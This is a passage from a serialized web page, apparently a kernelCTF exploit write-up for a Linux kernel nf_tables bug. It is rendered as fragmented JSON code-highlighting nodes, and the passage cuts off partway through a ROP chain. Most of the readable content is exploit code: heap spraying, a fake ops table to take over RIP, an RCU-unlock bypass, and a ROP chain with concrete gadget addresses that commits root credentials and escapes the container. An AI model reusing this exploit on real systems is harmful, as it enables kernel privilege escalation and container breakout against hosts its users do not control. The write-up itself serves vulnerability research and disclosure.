(uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[55812],{"type":26,"tag":53,"props":55813,"children":55814},{"__ignoreMap":7},[55815,55822,55830,55854,55901,55937,55944,55952,55984,55992,56000,56021,56029,56037,56101,56108,56116,56124,56131,56139,56173,56181,56188,56196,56203,56211,56244,56265],{"type":26,"tag":475,"props":55816,"children":55817},{"class":477,"line":478},[55818],{"type":26,"tag":475,"props":55819,"children":55820},{"style":499},[55821],{"type":32,"value":2219},{"type":26,"tag":475,"props":55823,"children":55824},{"class":477,"line":516},[55825],{"type":26,"tag":475,"props":55826,"children":55827},{"style":499},[55828],{"type":32,"value":55829}," // Fake ops\n",{"type":26,"tag":475,"props":55831,"children":55832},{"class":477,"line":539},[55833,55838,55842,55846,55850],{"type":26,"tag":475,"props":55834,"children":55835},{"style":499},[55836],{"type":32,"value":55837}," uint64_t *rop = calloc(29, ",{"type":26,"tag":475,"props":55839,"children":55840},{"style":505},[55841],{"type":32,"value":55019},{"type":26,"tag":475,"props":55843,"children":55844},{"style":499},[55845],{"type":32,"value":626},{"type":26,"tag":475,"props":55847,"children":55848},{"style":482},[55849],{"type":32,"value":55326},{"type":26,"tag":475,"props":55851,"children":55852},{"style":499},[55853],{"type":32,"value":6936},{"type":26,"tag":475,"props":55855,"children":55856},{"class":477,"line":548},[55857,55862,55866,55870,55874,55878,55883,55887,55892,55896],{"type":26,"tag":475,"props":55858,"children":55859},{"style":2375},[55860],{"type":32,"value":55861}," rop",{"type":26,"tag":475,"props":55863,"children":55864},{"style":499},[55865],{"type":32,"value":3440},{"type":26,"tag":475,"props":55867,"children":55868},{"style":903},[55869],{"type":32,"value":3732},{"type":26,"tag":475,"props":55871,"children":55872},{"style":499},[55873],{"type":32,"value":1699},{"type":26,"tag":475,"props":55875,"children":55876},{"style":714},[55877],{"type":32,"value":786},{"type":26,"tag":475,"props":55879,"children":55880},{"style":499},[55881],{"type":32,"value":55882}," kaslr_slide ",{"type":26,"tag":475,"props":55884,"children":55885},{"style":714},[55886],{"type":32,"value":1106},{"type":26,"tag":475,"props":55888,"children":55889},{"style":903},[55890],{"type":32,"value":55891}," 0xffffffff81988647",{"type":26,"tag":475,"props":55893,"children":55894},{"style":499},[55895],{"type":32,"value":48766},{"type":26,"tag":475,"props":55897,"children":55898},{"style":552},[55899],{"type":32,"value":55900}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":26,"tag":475,"props":55902,"children":55903},{"class":477,"line":558},[55904,55908,55912,55916,55920,55924,55928,55932],{"type":26,"tag":475,"props":55905,"children":55906},{"style":2375},[55907],{"type":32,"value":55861},{"type":26,"tag":475,"props":55909,"children":55910},{"style":499},[55911],{"type":32,"value":3440},{"type":26,"tag":475,"props":55913,"children":55914},{"style":903},[55915],{"type":32,"value":2830},{"type":26,"tag":475,"props":55917,"children":55918},{"style":499},[55919],{"type":32,"value":1699},{"type":26,"tag":475,"props":55921,"children":55922},{"style":714},[55923],{"type":32,"value":786},{"type":26,"tag":475,"props":55925,"children":55926},{"style":499},[55927],{"type":32,"value":55882},{"type":26,"tag":475,"props":55929,"children":55930},{"style":714},[55931],{"type":32,"value":1106},{"type":26,"tag":475,"props":55933,"children":55934},{"style":499},[55935],{"type":32,"value":55936}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":26,"tag":475,"props":55938,"children":55939},{"class":477,"line":582},[55940],{"type":26,"tag":475,"props":55941,"children":55942},{"style":499},[55943],{"type":32,"value":2219},{"type":26,"tag":475,"props":55945,"children":55946},{"class":477,"line":596},[55947],{"type":26,"tag":475,"props":55948,"children":55949},{"style":499},[55950],{"type":32,"value":55951}," // Send ROP in object udata\n",{"type":26,"tag":475,"props":55953,"children":55954},{"class":477,"line":610},[55955,55960,55964,55969,55974,55979],{"type":26,"tag":475,"props":55956,"children":55957},{"style":499},[55958],{"type":32,"value":55959}," del_obj(",{"type":26,"tag":475,"props":55961,"children":55962},{"style":505},[55963],{"type":32,"value":53981},{"type":26,"tag":475,"props":55965,"children":55966},{"style":499},[55967],{"type":32,"value":55968},", \"",{"type":26,"tag":475,"props":55970,"children":55971},{"style":505},[55972],{"type":32,"value":55973},"spray",{"type":26,"tag":475,"props":55975,"children":55976},{"style":499},[55977],{"type":32,"value":55978},"-0",{"type":26,"tag":475,"props":55980,"children":55981},{"style":629},[55982],{"type":32,"value":55983},"\");\n",{"type":26,"tag":475,"props":55985,"children":55986},{"class":477,"line":650},[55987],{"type":26,"tag":475,"props":55988,"children":55989},{"style":629},[55990],{"type":32,"value":55991}," wait_destroyer();\n",{"type":26,"tag":475,"props":55993,"children":55994},{"class":477,"line":679},[55995],{"type":26,"tag":475,"props":55996,"children":55997},{"style":629},[55998],{"type":32,"value":55999}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":26,"tag":475,"props":56001,"children":56002},{"class":477,"line":735},[56003,56008,56012,56017],{"type":26,"tag":475,"props":56004,"children":56005},{"style":629},[56006],{"type":32,"value":56007}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":26,"tag":475,"props":56009,"children":56010},{"style":482},[56011],{"type":32,"value":55973},{"type":26,"tag":475,"props":56013,"children":56014},{"style":499},[56015],{"type":32,"value":56016},"-3",{"type":26,"tag":475,"props":56018,"children":56019},{"style":629},[56020],{"type":32,"value":55983},{"type":26,"tag":475,"props":56022,"children":56023},{"class":477,"line":744},[56024],{"type":26,"tag":475,"props":56025,"children":56026},{"style":629},[56027],{"type":32,"value":56028}," DumpHex(fake_obj, 0xe8);\n",{"type":26,"tag":475,"props":56030,"children":56031},{"class":477,"line":753},[56032],{"type":26,"tag":475,"props":56033,"children":56034},{"style":629},[56035],{"type":32,"value":56036}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":26,"tag":475,"props":56038,"children":56039},{"class":477,"line":761},[56040,56045,56049,56053,56057,56062,56067,56072,56076,56081,56086,56091,56096],{"type":26,"tag":475,"props":56041,"children":56042},{"style":629},[56043],{"type":32,"value":56044}," printf(\"",{"type":26,"tag":475,"props":56046,"children":56047},{"style":499},[56048],{"type":32,"value":3440},{"type":26,"tag":475,"props":56050,"children":56051},{"style":714},[56052],{"type":32,"value":4282},{"type":26,"tag":475,"props":56054,"children":56055},{"style":499},[56056],{"type":32,"value":1699},{"type":26,"tag":475,"props":56058,"children":56059},{"style":505},[56060],{"type":32,"value":56061},"ROP",{"type":26,"tag":475,"props":56063,"children":56064},{"style":505},[56065],{"type":32,"value":56066}," addr",{"type":26,"tag":475,"props":56068,"children":56069},{"style":499},[56070],{"type":32,"value":56071},": 0",{"type":26,"tag":475,"props":56073,"children":56074},{"style":505},[56075],{"type":32,"value":18984},{"type":26,"tag":475,"props":56077,"children":56078},{"style":499},[56079],{"type":32,"value":56080},"%",{"type":26,"tag":475,"props":56082,"children":56083},{"style":505},[56084],{"type":32,"value":56085},"lx",{"type":26,"tag":475,"props":56087,"children":56088},{"style":499},[56089],{"type":32,"value":56090},"\\",{"type":26,"tag":475,"props":56092,"children":56093},{"style":505},[56094],{"type":32,"value":56095},"n",{"type":26,"tag":475,"props":56097,"children":56098},{"style":629},[56099],{"type":32,"value":56100},"\", rop_addr);\n",{"type":26,"tag":475,"props":56102,"children":56103},{"class":477,"line":770},[56104],{"type":26,"tag":475,"props":56105,"children":56106},{"emptyLinePlaceholder":18},[56107],{"type":32,"value":545},{"type":26,"tag":475,"props":56109,"children":56110},{"class":477,"line":794},[56111],{"type":26,"tag":475,"props":56112,"children":56113},{"style":629},[56114],{"type":32,"value":56115}," // Point to fake ops\n",{"type":26,"tag":475,"props":56117,"children":56118},{"class":477,"line":831},[56119],{"type":26,"tag":475,"props":56120,"children":56121},{"style":629},[56122],{"type":32,"value":56123}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":26,"tag":475,"props":56125,"children":56126},{"class":477,"line":845},[56127],{"type":26,"tag":475,"props":56128,"children":56129},{"style":629},[56130],{"type":32,"value":2219},{"type":26,"tag":475,"props":56132,"children":56133},{"class":477,"line":854},[56134],{"type":26,"tag":475,"props":56135,"children":56136},{"style":629},[56137],{"type":32,"value":56138}," // Write ROP\n",{"type":26,"tag":475,"props":56140,"children":56141},{"class":477,"line":862},[56142,56147,56151,56155,56159,56164,56169],{"type":26,"tag":475,"props":56143,"children":56144},{"style":629},[56145],{"type":32,"value":56146}," puts(\"",{"type":26,"tag":475,"props":56148,"children":56149},{"style":499},[56150],{"type":32,"value":3440},{"type":26,"tag":475,"props":56152,"children":56153},{"style":714},[56154],{"type":32,"value":4282},{"type":26,"tag":475,"props":56156,"children":56157},{"style":499},[56158],{"type":32,"value":1699},{"type":26,"tag":475,"props":56160,"children":56161},{"style":505},[56162],{"type":32,"value":56163},"Write",{"type":26,"tag":475,"props":56165,"children":56166},{"style":505},[56167],{"type":32,"value":56168}," ROP",{"type":26,"tag":475,"props":56170,"children":56171},{"style":629},[56172],{"type":32,"value":55983},{"type":26,"tag":475,"props":56174,"children":56175},{"class":477,"line":885},[56176],{"type":26,"tag":475,"props":56177,"children":56178},{"style":629},[56179],{"type":32,"value":56180}," deludata_spray(nl, 3, 1);\n",{"type":26,"tag":475,"props":56182,"children":56183},{"class":477,"line":913},[56184],{"type":26,"tag":475,"props":56185,"children":56186},{"style":629},[56187],{"type":32,"value":55991},{"type":26,"tag":475,"props":56189,"children":56190},{"class":477,"line":926},[56191],{"type":26,"tag":475,"props":56192,"children":56193},{"style":629},[56194],{"type":32,"value":56195}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":26,"tag":475,"props":56197,"children":56198},{"class":477,"line":948},[56199],{"type":26,"tag":475,"props":56200,"children":56201},{"emptyLinePlaceholder":18},[56202],{"type":32,"value":545},{"type":26,"tag":475,"props":56204,"children":56205},{"class":477,"line":966},[56206],{"type":26,"tag":475,"props":56207,"children":56208},{"style":629},[56209],{"type":32,"value":56210}," // Takeover RIP\n",{"type":26,"tag":475,"props":56212,"children":56213},{"class":477,"line":979},[56214,56218,56222,56226,56230,56235,56240],{"type":26,"tag":475,"props":56215,"children":56216},{"style":629},[56217],{"type":32,"value":56146},{"type":26,"tag":475,"props":56219,"children":56220},{"style":499},[56221],{"type":32,"value":3440},{"type":26,"tag":475,"props":56223,"children":56224},{"style":714},[56225],{"type":32,"value":4282},{"type":26,"tag":475,"props":56227,"children":56228},{"style":499},[56229],{"type":32,"value":1699},{"type":26,"tag":475,"props":56231,"children":56232},{"style":505},[56233],{"type":32,"value":56234},"Takeover",{"type":26,"tag":475,"props":56236,"children":56237},{"style":505},[56238],{"type":32,"value":56239}," RIP",{"type":26,"tag":475,"props":56241,"children":56242},{"style":629},[56243],{"type":32,"value":55983},{"type":26,"tag":475,"props":56245,"children":56246},{"class":477,"line":1006},[56247,56252,56256,56261],{"type":26,"tag":475,"props":56248,"children":56249},{"style":629},[56250],{"type":32,"value":56251}," dump_obj(nl, \"",{"type":26,"tag":475,"props":56253,"children":56254},{"style":482},[56255],{"type":32,"value":55973},{"type":26,"tag":475,"props":56257,"children":56258},{"style":499},[56259],{"type":32,"value":56260},"-1",{"type":26,"tag":475,"props":56262,"children":56263},{"style":629},[56264],{"type":32,"value":55983},{"type":26,"tag":475,"props":56266,"children":56267},{"class":477,"line":1046},[56268],{"type":26,"tag":475,"props":56269,"children":56270},{"style":629},[56271],{"type":32,"value":2219},{"type":26,"tag":41,"props":56273,"children":56275},{"id":56274},"bypass-context-switch-in-rcu-critical-section",[56276],{"type":32,"value":56277},"Bypass context switch in RCU critical-section",{"type":26,"tag":35,"props":56279,"children":56280},{},[56281,56282,56287],{"type":32,"value":16319},{"type":26,"tag":53,"props":56283,"children":56285},{"className":56284},[],[56286],{"type":32,"value":54805},{"type":32,"value":56288}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":26,"tag":35,"props":56290,"children":56291},{},[56292,56294,56301,56303,56309,56311,56317],{"type":32,"value":56293},"A workaround has been discussed before by D3v17 in a ",{"type":26,"tag":116,"props":56295,"children":56298},{"href":56296,"rel":56297},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[120],[56299],{"type":32,"value":56300},"previous kernelCTF submission",{"type":32,"value":56302}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":26,"tag":53,"props":56304,"children":56306},{"className":56305},[],[56307],{"type":32,"value":56308},"task_struct",{"type":32,"value":56310}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":26,"tag":53,"props":56312,"children":56314},{"className":56313},[],[56315],{"type":32,"value":56316},"__rcu_read_unlock()",{"type":32,"value":56318}," function and exit the RCU critical-section before switching contexts.",{"type":26,"tag":465,"props":56320,"children":56322},{"className":28812,"code":56321,"language":28814,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[56323],{"type":26,"tag":53,"props":56324,"children":56325},{"__ignoreMap":7},[56326,56334,56358,56365],{"type":26,"tag":475,"props":56327,"children":56328},{"class":477,"line":478},[56329],{"type":26,"tag":475,"props":56330,"children":56331},{"style":552},[56332],{"type":32,"value":56333}," // ROP stage 1\n",{"type":26,"tag":475,"props":56335,"children":56336},{"class":477,"line":516},[56337,56341,56346,56350,56354],{"type":26,"tag":475,"props":56338,"children":56339},{"style":482},[56340],{"type":32,"value":18785},{"type":26,"tag":475,"props":56342,"children":56343},{"style":499},[56344],{"type":32,"value":56345}," pos ",{"type":26,"tag":475,"props":56347,"children":56348},{"style":714},[56349],{"type":32,"value":786},{"type":26,"tag":475,"props":56351,"children":56352},{"style":903},[56353],{"type":32,"value":18807},{"type":26,"tag":475,"props":56355,"children":56356},{"style":499},[56357],{"type":32,"value":2729},{"type":26,"tag":475,"props":56359,"children":56360},{"class":477,"line":539},[56361],{"type":26,"tag":475,"props":56362,"children":56363},{"emptyLinePlaceholder":18},[56364],{"type":32,"value":545},{"type":26,"tag":475,"props":56366,"children":56367},{"class":477,"line":548},[56368,56372,56377,56381,56385,56389,56393,56397],{"type":26,"tag":475,"props":56369,"children":56370},{"style":2375},[56371],{"type":32,"value":55861},{"type":26,"tag":475,"props":56373,"children":56374},{"style":499},[56375],{"type":32,"value":56376},"[pos",{"type":26,"tag":475,"props":56378,"children":56379},{"style":714},[56380],{"type":32,"value":50961},{"type":26,"tag":475,"props":56382,"children":56383},{"style":499},[56384],{"type":32,"value":1699},{"type":26,"tag":475,"props":56386,"children":56387},{"style":714},[56388],{"type":32,"value":786},{"type":26,"tag":475,"props":56390,"children":56391},{"style":499},[56392],{"type":32,"value":55882},{"type":26,"tag":475,"props":56394,"children":56395},{"style":714},[56396],{"type":32,"value":1106},{"type":26,"tag":475,"props":56398,"children":56399},{"style":499},[56400],{"type":32,"value":56401}," __RCU_READ_UNLOCK;\n",{"type":26,"tag":41,"props":56403,"children":56405},{"id":56404},"rop",[56406],{"type":32,"value":56061},{"type":26,"tag":35,"props":56408,"children":56409},{},[56410],{"type":32,"value":56411},"Most of the ROP chain to escape the container as root is business as usual:",{"type":26,"tag":82,"props":56413,"children":56414},{},[56415,56426,56437],{"type":26,"tag":86,"props":56416,"children":56417},{},[56418,56424],{"type":26,"tag":53,"props":56419,"children":56421},{"className":56420},[],[56422],{"type":32,"value":56423},"commit_creds(&init_cred);",{"type":32,"value":56425}," Commit root credentials to our process",{"type":26,"tag":86,"props":56427,"children":56428},{},[56429,56435],{"type":26,"tag":53,"props":56430,"children":56432},{"className":56431},[],[56433],{"type":32,"value":56434},"task = find_task_by_vpid(1);",{"type":32,"value":56436}," Find the root process of our namespace",{"type":26,"tag":86,"props":56438,"children":56439},{},[56440,56446],{"type":26,"tag":53,"props":56441,"children":56443},{"className":56442},[],[56444],{"type":32,"value":56445},"switch_task_namespaces(task, &init_nsproxy);",{"type":32,"value":56447}," Move it to the root namespace",{"type":26,"tag":35,"props":56449,"children":56450},{},[56451,56453,56459,56461,56467,56469,56475,56477,56483,56485,56490,56492,56498],{"type":32,"value":56452},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":26,"tag":53,"props":56454,"children":56456},{"className":56455},[],[56457],{"type":32,"value":56458},"find_task_by_vpid(1)",{"type":32,"value":56460}," passed through ",{"type":26,"tag":53,"props":56462,"children":56464},{"className":56463},[],[56465],{"type":32,"value":56466},"rax",{"type":32,"value":56468}," to ",{"type":26,"tag":53,"props":56470,"children":56472},{"className":56471},[],[56473],{"type":32,"value":56474},"rdi",{"type":32,"value":56476},". What I ended up going with was a ",{"type":26,"tag":53,"props":56478,"children":56480},{"className":56479},[],[56481],{"type":32,"value":56482},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":32,"value":56484}," gadget, that allowed me to push the ",{"type":26,"tag":53,"props":56486,"children":56488},{"className":56487},[],[56489],{"type":32,"value":56466},{"type":32,"value":56491}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":26,"tag":53,"props":56493,"children":56495},{"className":56494},[],[56496],{"type":32,"value":56497},"pop rdi; ret",{"type":32,"value":56499}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":26,"tag":82,"props":56501,"children":56502},{},[56503,56508,56521],{"type":26,"tag":86,"props":56504,"children":56505},{},[56506],{"type":32,"value":56507},"We push the value onto the stack (stack pointer regresses)",{"type":26,"tag":86,"props":56509,"children":56510},{},[56511,56513,56519],{"type":32,"value":56512},"We jump to our \"trampoline\" gadget (",{"type":26,"tag":53,"props":56514,"children":56516},{"className":56515},[],[56517],{"type":32,"value":56518},"pop rdi; ret;",{"type":32,"value":56520}," location)",{"type":26,"tag":86,"props":56522,"children":56523},{},[56524,56529],{"type":26,"tag":53,"props":56525,"children":56527},{"className":56526},[],[56528],{"type":32,"value":56497},{"type":32,"value":56530}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":26,"tag":465,"props":56532,"children":56534},{"className":28812,"code":56533,"language":28814,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[56535],{"type":26,"tag":53,"props":56536,"children":56537},{"__ignoreMap":7},[56538,56545,56562,56607,56643,56679,56686,56694,56737,56768,56804,56849,56904,56949,56956,56964,57007,57043,57079],{"type":26,"tag":475,"props":56539,"children":56540},{"class":477,"line":478},[56541],{"type":26,"tag":475,"props":56542,"children":56543},{"style":499},[56544],{"type":32,"value":2219},{"type":26,"tag":475,"props":56546,"children":56547},{"class":477,"line":516},[56548,56553,56558],{"type":26,"tag":475,"props":56549,"children":56550},{"style":499},[56551],{"type":32,"value":56552}," // commit_creds(&",{"type":26,"tag":475,"props":56554,"children":56555},{"style":2375},[56556],{"type":32,"value":56557},"init_cred",{"type":26,"tag":475,"props":56559,"children":56560},{"style":499},[56561],{"type":32,"value":3533},{"type":26,"tag":475,"props":56563,"children":56564},{"class":477,"line":539},[56565,56569,56573,56577,56581,56585,56589,56593,56598,56602],{"type":26,"tag":475,"props":56566,"children":56567},{"style":2375},[56568],{"type":32,"value":55861},{"type":26,"tag":475,"props":56570,"children":56571},{"style":499},[56572],{"type":32,"value":56376},{"type":26,"tag":475,"props":56574,"children":56575},{"style":714},[56576],{"type":32,"value":50961},{"type":26,"tag":475,"props":56578,"children":56579},{"style":499},[56580],{"type":32,"value":1699},{"type":26,"tag":475,"props":56582,"children":56583},{"style":714},[56584],{"type":32,"value":786},{"type":26,"tag":475,"props":56586,"children":56587},{"style":499},[56588],{"type":32,"value":55882},{"type":26,"tag":475,"props":56590,"children":56591},{"style":714},[56592],{"type":32,"value":1106},{"type":26,"tag":475,"props":56594,"children":56595},{"style":903},[56596],{"type":32,"value":56597}," 0xffffffff8112c7c0",{"type":26,"tag":475,"props":56599,"children":56600},{"style":499},[56601],{"type":32,"value":48766},{"type":26,"tag":475,"props":56603,"children":56604},{"style":552},[56605],{"type":32,"value":56606}," // pop rdi; ret;\n",{"type":26,"tag":475,"props":56608,"children":56609},{"class":477,"line":548},[56610,56614,56618,56622,56626,56630,56634,56638],{"type":26,"tag":475,"props":56611,"children":56612},{"style":2375},[56613],{"type":32,"value":55861},{"type":26,"tag":475,"props":56615,"children":56616},{"style":499},[56617],{"type":32,"value":56376},{"type":26,"tag":475,"props":56619,"children":56620},{"style":714},[56621],{"type":32,"value":50961},{"type":26,"tag":475,"props":56623,"children":56624},{"style":499},[56625],{"type":32,"value":1699},{"type":26,"tag":475,"props":56627,"children":56628},{"style":714},[56629],{"type":32,"value":786},{"type":26,"tag":475,"props":56631,"children":56632},{"style":499},[56633],{"type":32,"value":55882},{"type":26,"tag":475,"props":56635,"children":56636},{"style":714},[56637],{"type":32,"value":1106},{"type":26,"tag":475,"props":56639,"children":56640},{"style":499},[56641],{"type":32,"value":56642}," INIT_CRED;\n",{"type":26,"tag":475,"props":56644,"children":56645},{"class":477,"line":558},[56646,56650,56654,56658,56662,56666,56670,56674],{"type":26,"tag":475,"props":56647,"children":56648},{"style":2375},[56649],{"type":32,"value":55861},{"type":26,"tag":475,"props":56651,"children":56652},{"style":499},[56653],{"type":32,"value":56376},{"type":26,"tag":475,"props":56655,"children":56656},{"style":714},[56657],{"type":32,"value":50961},{"type":26,"tag":475,"props":56659,"children":56660},{"style":499},[56661],{"type":32,"value":1699},{"type":26,"tag":475,"props":56663,"children":56664},{"style":714},[56665],{"type":32,"value":786},{"type":26,"tag":475,"props":56667,"children":56668},{"style":499},[56669],{"type":32,"value":55882},{"type":26,"tag":475,"props":56671,"children":56672},{"style":714},[56673],{"type":32,"value":1106},{"type":26,"tag":475,"props":56675,"children":56676},{"style":499},[56677],{"type":32,"value":56678}," COMMIT_CREDS;\n",{"type":26,"tag":475,"props":56680,"children":56681},{"class":477,"line":582},[56682],{"type":26,"tag":475,"props":56683,"children":56684},{"emptyLinePlaceholder":18},[56685],{"type":32,"value":545},{"type":26,"tag":475,"props":56687,"children":56688},{"class":477,"line":596},[56689],{"type":26,"tag":475,"props":56690,"children":56691},{"style":552},[56692],{"type":32,"value":56693}," // task = find_task_by_vpid(1);\n",{"type":26,"tag":475,"props":56695,"children":56696},{"class":477,"line":610},[56697,56701,56705,56709,56713,56717,56721,56725,56729,56733],{"type":26,"tag":475,"props":56698,"children":56699},{"style":2375},[56700],{"type":32,"value":55861},{"type":26,"tag":475,"props":56702,"children":56703},{"style":499},[56704],{"type":32,"value":56376},{"type":26,"tag":475,"props":56706,"children":56707},{"style":714},[56708],{"type":32,"value":50961},{"type":26,"tag":475,"props":56710,"children":56711},{"style":499},[56712],{"type":32,"value":1699},{"type":26,"tag":475,"props":56714,"children":56715},{"style":714},[56716],{"type":32,"value":786},{"type":26,"tag":475,"props":56718,"children":56719},{"style":499},[56720],{"type":32,"value":55882},{"type":26,"tag":475,"props":56722,"children":56723},{"style":714},[56724],{"type":32,"value":1106},{"type":26,"tag":475,"props":56726,"children":56727},{"style":903},[56728],{"type":32,"value":56597},{"type":26,"tag":475,"props":56730,"children":56731},{"style":499},[56732],{"type":32,"value":48766},{"type":26,"tag":475,"props":56734,"children":56735},{"style":552},[56736],{"type":32,"value":56606},{"type":26,"tag":475,"props":56738,"children":56739},{"class":477,"line":650},[56740,56744,56748,56752,56756,56760,56764],{"type":26,"tag":475,"props":56741,"children":56742},{"style":2375},[56743],{"type":32,"value":55861},{"type":26,"tag":475,"props":56745,"children":56746},{"style":499},[56747],{"type":32,"value":56376},{"type":26,"tag":475,"props":56749,"children":56750},{"style":714},[56751],{"type":32,"value":50961},{"type":26,"tag":475,"props":56753,"children":56754},{"style":499},[56755],{"type":32,"value":1699},{"type":26,"tag":475,"props":56757,"children":56758},{"style":714},[56759],{"type":32,"value":786},{"type":26,"tag":475,"props":56761,"children":56762},{"style":903},[56763],{"type":32,"value":4234},{"type":26,"tag":475,"props":56765,"children":56766},{"style":499},[56767],{"type":32,"value":2729},{"type":26,"tag":475,"props":56769,"children":56770},{"class":477,"line":679},[56771,56775,56779,56783,56787,56791,56795,56799],{"type":26,"tag":475,"props":56772,"children":56773},{"style":2375},[56774],{"type":32,"value":55861},{"type":26,"tag":475,"props":56776,"children":56777},{"style":499},[56778],{"type":32,"value":56376},{"type":26,"tag":475,"props":56780,"children":56781},{"style":714},[56782],{"type":32,"value":50961},{"type":26,"tag":475,"props":56784,"children":56785},{"style":499},[56786],{"type":32,"value":1699},{"type":26,"tag":475,"props":56788,"children":56789},{"style":714},[56790],{"type":32,"value":786},{"type":26,"tag":475,"props":56792,"children":56793},{"style":499},[56794],{"type":32,"value":55882},{"type":26,"tag":475,"props":56796,"children":56797},{"style":714},[56798],{"type":32,"value":1106},{"type":26,"tag":475,"props":56800,"children":56801},{"style":499},[56802],{"type":32,"value":56803}," FIND_TASK_BY_VPID;\n",{"type":26,"tag":475,"props":56805,"children":56806},{"class":477,"line":735},[56807,56811,56815,56819,56823,56827,56831,56835,56840,56844],{"type":26,"tag":475,"props":56808,"children":56809},{"style":2375},[56810],{"type":32,"value":55861},{"type":26,"tag":475,"props":56812,"children":56813},{"style":499},[56814],{"type":32,"value":56376},{"type":26,"tag":475,"props":56816,"children":56817},{"style":714},[56818],{"type":32,"value":50961},{"type":26,"tag":475,"props":56820,"children":56821},{"style":499},[56822],{"type":32,"value":1699},{"type":26,"tag":475,"props":56824,"children":56825},{"style":714},[56826],{"type":32,"value":786},{"type":26,"tag":475,"props":56828,"children":56829},{"style":499},[56830],{"type":32,"value":55882},{"type":26,"tag":475,"props":56832,"children":56833},{"style":714},[56834],{"type":32,"value":1106},{"type":26,"tag":475,"props":56836,"children":56837},{"style":903},[56838],{"type":32,"value":56839}," 0xffffffff8102e2a6",{"type":26,"tag":475,"props":56841,"children":56842},{"style":499},[56843],{"type":32,"value":48766},{"type":26,"tag":475,"props":56845,"children":56846},{"style":552},[56847],{"type":32,"value":56848}," // pop rsi; ret;\n",{"type":26,"tag":475,"props":56850,"children":56851},{"class":477,"line":744},[56852,56856,56860,56864,56868,56872,56877,56881,56886,56890,56895,56899],{"type":26,"tag":475,"props":56853,"children":56854},{"style":2375},[56855],{"type":32,"value":55861},{"type":26,"tag":475,"props":56857,"children":56858},{"style":499},[56859],{"type":32,"value":56376},{"type":26,"tag":475,"props":56861,"children":56862},{"style":714},[56863],{"type":32,"value":50961},{"type":26,"tag":475,"props":56865,"children":56866},{"style":499},[56867],{"type":32,"value":1699},{"type":26,"tag":475,"props":56869,"children":56870},{"style":714},[56871],{"type":32,"value":786},{"type":26,"tag":475,"props":56873,"children":56874},{"style":499},[56875],{"type":32,"value":56876}," obj_ptr ",{"type":26,"tag":475,"props":56878,"children":56879},{"style":714},[56880],{"type":32,"value":1106},{"type":26,"tag":475,"props":56882,"children":56883},{"style":903},[56884],{"type":32,"value":56885}," 0xe0",{"type":26,"tag":475,"props":56887,"children":56888},{"style":714},[56889],{"type":32,"value":50947},{"type":26,"tag":475,"props":56891,"children":56892},{"style":903},[56893],{"type":32,"value":56894}," 0x66",{"type":26,"tag":475,"props":56896,"children":56897},{"style":499},[56898],{"type":32,"value":48766},{"type":26,"tag":475,"props":56900,"children":56901},{"style":552},[56902],{"type":32,"value":56903}," // rax -> rdi and resume rop\n",{"type":26,"tag":475,"props":56905,"children":56906},{"class":477,"line":753},[56907,56911,56915,56919,56923,56927,56931,56935,56940,56944],{"type":26,"tag":475,"props":56908,"children":56909},{"style":2375},[56910],{"type":32,"value":55861},{"type":26,"tag":475,"props":56912,"children":56913},{"style":499},[56914],{"type":32,"value":56376},{"type":26,"tag":475,"props":56916,"children":56917},{"style":714},[56918],{"type":32,"value":50961},{"type":26,"tag":475,"props":56920,"children":56921},{"style":499},[56922],{"type":32,"value":1699},{"type":26,"tag":475,"props":56924,"children":56925},{"style":714},[56926],{"type":32,"value":786},{"type":26,"tag":475,"props":56928,"children":56929},{"style":499},[56930],{"type":32,"value":55882},{"type":26,"tag":475,"props":56932,"children":56933},{"style":714},[56934],{"type":32,"value":1106},{"type":26,"tag":475,"props":56936,"children":56937},{"style":903},[56938],{"type":32,"value":56939}," 